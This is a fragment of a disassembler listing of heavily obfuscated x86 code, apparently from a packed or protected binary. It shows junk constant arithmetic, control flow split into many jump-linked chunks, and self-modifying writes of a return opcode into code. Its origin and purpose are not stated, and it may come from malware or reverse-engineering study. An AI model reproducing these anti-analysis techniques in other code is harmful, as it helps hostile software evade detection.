loc_4453D9:				; CODE XREF: sub_43BD72:loc_448BC3j
		pop	ebp
		js	loc_43C1AC
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		jmp	loc_44AAC3
; END OF FUNCTION CHUNK	FOR sub_43BD72
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_352. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E66D

loc_4453EC:				; CODE XREF: sub_44E66D+7j
		push	939C2FA9h
		pop	esi
		add	esi, 9B87B432h
		xor	esi, 0DC2B065Eh
		add	esi, ebp
		jmp	loc_43E2E9
; END OF FUNCTION CHUNK	FOR sub_44E66D
; ---------------------------------------------------------------------------
byte_445405	db 90h			; DATA XREF: dviuq5id:0044F8D6o
; ---------------------------------------------------------------------------
		push	offset loc_4544F3
		jmp	loc_456794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44097E

loc_445410:				; CODE XREF: sub_44097E:loc_455057j
		pop	ebx
		push	offset loc_43BDF2
		jmp	loc_453202
; END OF FUNCTION CHUNK	FOR sub_44097E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44541B:				; CODE XREF: sub_4509F7:loc_43B116j
		or	ebx, 8B080ED9h
		sub	ecx, 37964DD7h
		jmp	loc_449089
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------

loc_44542C:				; CODE XREF: dviuq5id:loc_4401DBj
		test	eax, 80000h
		jmp	loc_4466DE

; =============== S U B	R O U T	I N E =======================================



sub_445437	proc near		; CODE XREF: dviuq5id:0043BBDAj
					; sub_442772:loc_4464BBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C327 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E23B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E8F1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043F576 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044062A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004415F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449144 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449AC0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A2C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A494 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044AB98 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044BC4C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D77E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EC67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044F10D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044F442 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452A86 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004550F2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00459141 SIZE 00000005 BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		push	502D0CCBh
		pop	ebx
		rol	ebx, 3
		or	ebx, 0A7864255h
		jmp	loc_44F10D
sub_445437	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jnb	loc_43F5F3
		jmp	sub_44EF23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_44545A:				; CODE XREF: sub_44A015+98FCj
		xor	esi, 16C05D5Eh
		add	esi, 0E892FA1Eh
		sub	esi, 0A7A1398h
		rol	esi, 1
		add	esi, 9282795Fh
		popf
		add	eax, esi
		jmp	loc_4514C0
; END OF FUNCTION CHUNK	FOR sub_44A015

; =============== S U B	R O U T	I N E =======================================



sub_44547C	proc near		; CODE XREF: sub_44803A+6p
					; dviuq5id:0044FC0Aj

; FUNCTION CHUNK AT 004463C1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	loc_4463C1
sub_44547C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445488	proc near		; CODE XREF: sub_41A690+27Bp
					; sub_41A690+2AFp ...
		call	sub_445498
		jmp	ds:off_41D100
sub_445488	endp

; ---------------------------------------------------------------------------

loc_445493:				; CODE XREF: dviuq5id:0043AE40j
		jmp	loc_455779

; =============== S U B	R O U T	I N E =======================================



sub_445498	proc near		; CODE XREF: sub_43FF70+Cj
					; sub_4410D5+Cj ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A72C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043BEDF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FF81 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00440569 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440FEF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442114 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044259F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446842 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004469DA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004493EE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044F467 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00451500 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004556B9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004560F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459101 SIZE 00000010 BYTES

		pop	edx
		jmp	loc_440569
sub_445498	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44549E	proc near		; DATA XREF: sub_457A3C+A84o

; FUNCTION CHUNK AT 0043FB61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004492BF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044BD5C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044F9A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457B65 SIZE 0000001F BYTES

		push	eax
		push	eax
		push	9AD70ED0h
		pop	eax
		and	eax, 0F7410E39h
		cmp	eax, 0A20235F6h
		jmp	loc_44BD5C
sub_44549E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4454B7:				; DATA XREF: sub_44D948-1D6Do
		call	sub_442503
		mov	eax, 1C5E06BAh
		push	edx
		mov	edx, edi
		jmp	loc_43FC2D
; ---------------------------------------------------------------------------

loc_4454C9:				; CODE XREF: dviuq5id:loc_44BB4Ej
		push	edi
		push	8DE36570h
		xchg	edx, [esp]
		mov	edi, edx
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4454D4:				; CODE XREF: sub_454267-2622j
		jmp	loc_4560E8
; END OF FUNCTION CHUNK	FOR sub_454267

; =============== S U B	R O U T	I N E =======================================



sub_4454D9	proc near		; CODE XREF: dviuq5id:0044C28Ej
					; dviuq5id:00453C45p

; FUNCTION CHUNK AT 0043ED4F SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esi, ebp
		add	esi, 9045BA93h
		jmp	loc_43ED4F
sub_4454D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4454EA	proc near		; CODE XREF: sub_44D45B:loc_4477AAj
		push	ebx
		mov	ebx, eax
		call	sub_450F3F
sub_4454EA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43FEBB

loc_4454F2:				; CODE XREF: sub_43FEBB+4j
		jmp	loc_456318
; END OF FUNCTION CHUNK	FOR sub_43FEBB
; ---------------------------------------------------------------------------
		and	esi, 9F62D544h
		jmp	loc_4436DD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_445503:				; CODE XREF: sub_44FCBC:loc_44BC3Cj
		cmp	edi, 353909C1h
		jmp	loc_446BC0
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_44550E:				; CODE XREF: sub_449B7F+B6B9j
		xchg	ebx, edi
		jmp	loc_448C66
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------

loc_445515:				; CODE XREF: dviuq5id:0044E5DCj
		jb	loc_440A7A
		mov	edi, [eax]
		jmp	loc_44ED6A
; ---------------------------------------------------------------------------

loc_445522:				; DATA XREF: sub_43CC2A+AE29o
		pop	ebx
		ror	eax, 17h
		xor	eax, 4F39BE28h
		sub	eax, 1E677AD4h
		xor	eax, 0B548B4B3h
		ror	eax, 16h
		add	eax, 0ABB9DA5Ah
		jmp	loc_456046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_445546:				; CODE XREF: sub_43BD72:loc_448BBDj
					; dviuq5id:0044EDE5j
		xor	esi, 52152001h
		xchg	esi, [esp+0]
		push	eax
		pushf
		call	sub_43D83D

locret_445556:				; CODE XREF: sub_44B02F+E4B5j
		retn
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_445557:				; CODE XREF: sub_449222+Cj
		jmp	loc_43E12B
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_44555C:				; CODE XREF: sub_440E99:loc_445C2Dj
		jmp	loc_4425CE
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
		adc	ebx, ebp
		jmp	loc_45674B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_445568:				; CODE XREF: sub_440828+7E7Bj
		xor	eax, 3AD8E2FCh
		call	sub_453642
		push	edi
		push	0F6948011h
		jmp	loc_44D4E7
; END OF FUNCTION CHUNK	FOR sub_440828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_44557E:				; CODE XREF: sub_445707:loc_445C68j
		jbe	loc_45A046
		jmp	loc_43DFAC
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_445589:				; CODE XREF: sub_43EB11-5509j
		jnz	loc_44AAB8
		jmp	loc_446818
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_445595:				; CODE XREF: sub_44C50A:loc_450993j
		and	ecx, 0A92F44Ah
		test	ecx, 20000h
		jmp	loc_442D98
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CA

loc_4455A6:				; CODE XREF: sub_4432C4:loc_452B67j
					; sub_4440CA:loc_453B7Fj ...
		or	edi, 0B59129A7h
		sub	edi, 8D730028h
		add	edi, 0D5DDDB45h
		push	offset sub_449704
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_4440CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0CA

loc_4455C2:				; CODE XREF: sub_44F0CA-51E8j
		xor	edx, edx
		call	sub_45A04B

loc_4455C9:				; CODE XREF: sub_454E7C:loc_43C0B8j
					; sub_44AF7D+Aj
		mov	eax, ds:dword_44DE64
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_43B15E
; END OF FUNCTION CHUNK	FOR sub_44F0CA

; =============== S U B	R O U T	I N E =======================================



sub_4455D9	proc near		; DATA XREF: sub_4538B3-159A3o

; FUNCTION CHUNK AT 0043C698 SIZE 00000008 BYTES

		push	4FC99344h
		pop	ecx
		or	ecx, 47D8C76Eh
		add	ecx, 0B06A37BCh
		jmp	loc_43C698
sub_4455D9	endp

; ---------------------------------------------------------------------------

loc_4455F0:				; CODE XREF: dviuq5id:004444D4j
		cmp	edi, 0B55C872Dh
		jmp	loc_43A17C
; ---------------------------------------------------------------------------
		sub	edx, 0FFAE8E43h
		jmp	sub_4559CE
; ---------------------------------------------------------------------------

loc_445606:				; CODE XREF: dviuq5id:loc_43C098j
					; dviuq5id:0045932Aj
		push	eax
		lea	eax, dword_445640
		push	eax
		push	eax
		mov	edx, eax
		call	sub_45A04B
		push	ecx
		push	offset loc_43DC33
		jmp	loc_458D35
; ---------------------------------------------------------------------------
		jno	loc_447DAA
		mov	ebx, [edi]
		jmp	sub_43AF81
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_44562F:				; CODE XREF: sub_449222+F6DFj
		jmp	loc_4551A7
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
dword_445634	dd 0			; DATA XREF: dviuq5id:loc_43D5D6r
					; dviuq5id:0044B121r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44142D

loc_445638:				; CODE XREF: sub_44142D+3442j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_44142D
; ---------------------------------------------------------------------------
		db 44h,	4Eh, 0D4h
dword_445640	dd 98A8216Ah, 71196631h, 63C646h ; DATA	XREF: dviuq5id:00445607o
					; dviuq5id:0044DAD5o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44564C:				; CODE XREF: sub_454267-760Fj
		jmp	loc_44B2AE
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		jnb	loc_43D6F3
		push	0E889929Fh
		pop	edx
		sub	edx, 9BEFAA2Ah
		jmp	loc_441B4D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445669:				; CODE XREF: dviuq5id:loc_445FFFj
		push	offset sub_43AD11
		jmp	locret_448AE2
; ---------------------------------------------------------------------------

loc_445673:				; CODE XREF: dviuq5id:0043ABEDj
		jz	loc_445055
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_445679:				; CODE XREF: sub_45345A:loc_4534C1j
		add	edx, 0B0B82EC6h
		rol	edx, 1Ah
		add	edx, 3990255Eh
		xor	eax, edx
		jmp	loc_44980A
; END OF FUNCTION CHUNK	FOR sub_45345A
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_445692:				; CODE XREF: sub_441DDA:loc_43E1ABj
					; sub_441DDA+11C95j
		jz	loc_4396EF
		cmp	dword ptr [ebp-10Ch], 6D676552h
		jnz	loc_457E67
		jmp	loc_44863B
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4456AD:				; CODE XREF: sub_44EAC4:loc_43E745j
		xchg	esi, [esp+4+var_4]
		jmp	loc_44C8F7
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		jg	loc_458C19
		jmp	loc_44A6A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_4456C0:				; CODE XREF: sub_454228:loc_44D778j
		add	ebp, esi
		jl	loc_44A70B
		jmp	loc_43AC9B
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 8
		dd 89000000h, 0B8E9E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_4456DA:				; CODE XREF: sub_44818A:loc_44819Aj
		push	edx
		push	0E8A768F5h
		pop	edx
		and	edx, 7160433Bh
		jmp	loc_44ACA6
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4456EC:				; CODE XREF: sub_454267+3Cj
		rol	eax, 5
		add	eax, 624A0CBh
		add	eax, ebp
		add	eax, 28AC585Fh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_44F602
; END OF FUNCTION CHUNK	FOR sub_454267

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445707	proc near		; CODE XREF: sub_43CB05+9p
					; dviuq5id:0045529Dp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043C7E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CAC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DFAC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043E435 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004407F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044128E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442314 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044324D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044557E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445C68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448E3C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B64F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044CF6B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044F68C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451D42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00458CB0 SIZE 00000005 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		mov	ebp, esp
		push	ecx
		jmp	loc_44128E
sub_445707	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_445715:				; CODE XREF: sub_44B99E:loc_45544Ej
		jnz	loc_44247A
		jmp	loc_44ABD8
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444466

loc_445720:				; CODE XREF: sub_444466:loc_43AD4Dj
		sub	eax, edi
		pop	edi

loc_445723:				; CODE XREF: sub_451FE0:loc_44EE6Ej
		xor	eax, 0F338762Fh
		add	eax, 3E925489h
		push	offset loc_44A710
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_445739:				; CODE XREF: sub_446682:loc_44A38Bj
		jl	loc_457AE1
		xor	edx, esi
		mov	eax, ebp

loc_445743:				; CODE XREF: sub_446682:loc_44A37Fj
		add	eax, 0D42A76E8h
		mov	eax, [eax]
		call	sub_44E3BA
		jmp	loc_454999
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_445755:				; CODE XREF: dviuq5id:0044308Cj
		jnz	loc_4431FA
		jmp	loc_440487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_445760:				; CODE XREF: sub_44B301:loc_441EB5j
		call	sub_43A54F

loc_445765:				; CODE XREF: sub_447C0B-64B3j
		jmp	loc_449FFC
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ADFB

loc_44576A:				; CODE XREF: sub_43ADFB+CB54j
		adc	ebp, 1A92BAE8h
		cdq
		xchg	esi, [ebp+0]

loc_445774:				; CODE XREF: sub_43ADFB+Dj
		or	ebx, 0F381C378h
		jmp	loc_4468D1
; END OF FUNCTION CHUNK	FOR sub_43ADFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459848

loc_44577F:				; CODE XREF: sub_459848:loc_44A1FEj
		jz	loc_4399DE
; END OF FUNCTION CHUNK	FOR sub_459848
; START	OF FUNCTION CHUNK FOR sub_43BDAE

loc_445785:				; CODE XREF: sub_43BDAE+F26Ej
		jmp	loc_45143B
; END OF FUNCTION CHUNK	FOR sub_43BDAE
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_44D0BD
; ---------------------------------------------------------------------------

loc_445790:				; CODE XREF: dviuq5id:loc_446A53j
		add	eax, 0DD6C44C5h
		xor	eax, 0E95A3BD2h
		add	eax, 0A665D2A5h
		rol	eax, 8
		cmp	eax, 48222000h
		jmp	loc_445395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_4457B0:				; CODE XREF: sub_43CBD5+Cj
		call	sub_440A7F
		cmp	eax, [ebp-0Ch]

loc_4457B8:				; CODE XREF: dviuq5id:0043D41Aj
		jnz	loc_4418AB
		jmp	loc_4588AA
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_4457C3:				; CODE XREF: sub_45753F:loc_45382Cj
		jge	loc_43EFD9
		sbb	esi, ebp
		jmp	loc_43EFD1
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443328

loc_4457D0:				; CODE XREF: sub_443328+F8F7j
		jl	loc_44BE9B

loc_4457D6:				; CODE XREF: dviuq5id:00447FF3j
		jmp	sub_43C710
; END OF FUNCTION CHUNK	FOR sub_443328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446E7

loc_4457DB:				; CODE XREF: sub_4446E7+Bj
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_4446E7
; ---------------------------------------------------------------------------
		xor	ebp, edi
		push	0D7A50101h
		add	ecx, 150757DDh
		jmp	loc_44D3AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4457F2:				; CODE XREF: sub_439C09+7C45j
		popf
		sub	eax, 0D7ABBE4h
		xchg	edx, edi

loc_4457FB:				; CODE XREF: sub_439C09:loc_43B9BAj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44EA96
		jmp	loc_455076
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B48A

loc_44580C:				; CODE XREF: sub_43B48A:loc_43DF43j
		sbb	ecx, esi
		sbb	ebp, eax
		pushf
		jmp	loc_44CA8D
; END OF FUNCTION CHUNK	FOR sub_43B48A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_445817	proc near		; DATA XREF: sub_43C9A9+619Co

; FUNCTION CHUNK AT 00447B17 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004484D9 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0044ED56 SIZE 00000005 BYTES

		add	eax, ebp
		add	eax, 1ED3F1CBh
		mov	eax, [eax]
		mov	ecx, [eax+4]
		jmp	loc_4484D9
sub_445817	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45082A

loc_445829:				; CODE XREF: sub_45082A:loc_439386j
		add	edi, 804D6E61h
		xchg	edi, [esp+0]
		jmp	loc_43B5E6
; END OF FUNCTION CHUNK	FOR sub_45082A
; ---------------------------------------------------------------------------

loc_445837:				; CODE XREF: dviuq5id:0044E53Cj
		xchg	edi, [esp]
		push	0C2A82101h
		xchg	ebp, [esp]
		mov	esi, ebp
		jmp	loc_43D456
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_445849:				; CODE XREF: sub_440898:loc_447C9Fj
		sub	edi, 6FD74FFAh
		test	edi, 20000000h
		jmp	loc_4394D7
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_44585A:				; CODE XREF: sub_446B53:loc_458498j
		jnz	loc_44E779
		mov	ecx, eax
		jmp	loc_44E773
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_445867:				; CODE XREF: sub_43B89D:loc_43F594j
					; dviuq5id:00459AC3j
		and	eax, ds:4000F2h
		or	eax, 3EFDDC0Dh
; END OF FUNCTION CHUNK	FOR sub_43B89D
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_445873:				; CODE XREF: sub_44B624:loc_441070j
		add	eax, 0C04669A7h
		xchg	eax, [esp-8+arg_4]
		jmp	sub_45A310
; END OF FUNCTION CHUNK	FOR sub_44B624

; =============== S U B	R O U T	I N E =======================================



sub_445881	proc near		; CODE XREF: sub_441016j
					; DATA XREF: sub_441001+Bo
		lea	eax, nullsub_486
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_486
sub_445881	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_44588F:				; CODE XREF: sub_446B53:loc_43D651j
					; dviuq5id:004425B4j
		mov	eax, [esp+0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		jmp	loc_449139
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_44589D:				; CODE XREF: sub_456B31+22j
		ror	edx, 0Ch
		cmp	ebp, ecx
		jmp	loc_44461A
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------

loc_4458A7:				; CODE XREF: dviuq5id:00440893j
		not	eax
		push	eax
		pop	esi
		jmp	loc_45925D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_4458B1:				; CODE XREF: sub_43D53C+12372j
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
		xor	esi, 1CA104C8h
		jmp	sub_44A5A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_4458C1:				; CODE XREF: sub_454E7C+247Dj
		cdq
; END OF FUNCTION CHUNK	FOR sub_454E7C
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_4458C2:				; CODE XREF: sub_43A887+9j
					; sub_43AEAA+F755j ...
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		xchg	edx, [esp+4+var_4]
		mov	ebp, edx
		pop	edx
		jmp	loc_43D284
; END OF FUNCTION CHUNK	FOR sub_43AEAA

; =============== S U B	R O U T	I N E =======================================



sub_4458D3	proc near		; CODE XREF: sub_44903Ap
					; dviuq5id:0045720Fj

; FUNCTION CHUNK AT 0043CACA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004496B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D971 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045368E SIZE 00000017 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebp
		push	0D9E37DC1h
		jmp	loc_43CACA
sub_4458D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_4458E6:				; CODE XREF: sub_44E67F:loc_43FE5Bj
		jz	loc_4416D7
		jge	loc_44787D
		jmp	loc_4416D1
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4458F7:				; CODE XREF: sub_454094:loc_451D19j
		jz	loc_443029
		jmp	loc_44BFBB
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_445908:				; CODE XREF: sub_4452A6:loc_449A5Ej
		jmp	loc_4548D9
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44045F

loc_44590D:				; CODE XREF: sub_44045F+12j
		jmp	loc_43D87B
; END OF FUNCTION CHUNK	FOR sub_44045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_445912:				; CODE XREF: sub_44CBA2-12579j
		jmp	loc_43C9B1
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_500. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FF4B0B89h, 48B5AFFh, 67E85224h, 0E9FFFF79h,	4F53h
; ---------------------------------------------------------------------------

loc_44592C:				; CODE XREF: dviuq5id:0043FA38j
		push	0F140A38Dh
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		or	eax, 4ABB1C94h
		xor	eax, 0D99A5769h
		cmp	eax, 13D66B8Dh
		jmp	loc_4491CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44594E:				; CODE XREF: sub_443AC1+12698j
		sub	eax, 51D40996h
		xor	eax, 6B067B89h
		add	eax, 0DE3764EFh
		call	sub_453642
		jmp	loc_44FF54
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_44596A:				; CODE XREF: sub_45753F:loc_4508AFj
		jl	loc_45442B
		or	eax, 0C46939D1h
		jl	loc_45434E
		sbb	ebx, eax
		jmp	loc_43CEDD
; END OF FUNCTION CHUNK	FOR sub_45753F
